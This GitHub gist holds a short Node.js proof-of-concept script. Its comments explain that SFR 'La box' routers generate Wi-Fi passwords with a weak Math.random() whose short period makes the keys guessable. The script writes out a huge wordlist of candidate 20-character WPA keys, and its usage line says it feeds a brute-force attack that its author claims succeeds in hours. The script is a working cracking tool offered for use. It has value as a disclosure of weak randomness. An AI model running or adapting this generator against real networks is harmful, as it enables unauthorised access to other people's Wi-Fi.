Skip to content

Instantly share code, notes, and snippets.

@alexpirine
Last active December 25, 2015 09:49
Show Gist options
  • Save alexpirine/6956530 to your computer and use it in GitHub Desktop.
Save alexpirine/6956530 to your computer and use it in GitHub Desktop.
// -*- coding: utf-8; tab-width: 2; indent-tabs-mode: nil; -*-
//
// Generates Wi-Fi passwords generated in the web interface of the “La box de
// SFR” home router.
//
// In many browsers, this implementation is broken because of a very short
// period of the pseudo-random Math.random() funciton, usually around 2^30.
//
// You can generate a passwords file of several gigabytes and run a
// successfull bruteforce attack in a couple of hours against A WPA key.
//
// This snippet was successfully tested using Node.js against a password
// generated in Google Chrome.
//
// Please note, this snippet was quickly designed as a proof and has some
// flaws. You will need to run it at least twice to initialize it with
// different seeds that will result in disjoint password files. And the
// output becomes periodic sooner than estimated, you might not need to run
// it to the very end.
//
// Usage:
// $ node gen_wifi_pwd_sfr_box.js > passwords
var alphanum_characters = new Array(
'-','_','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F',
'G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X',
'Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',
'q','r','s','t','u','v','w','x','y','z'
);
var i = 0;
var key = '';
for (i = 0; i < 4294967296; i++)
{
key = '';
for (k = 0; k < 20; k++)
{
key += alphanum_characters[Math.floor(Math.random() * 64)];
}
console.log(key);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment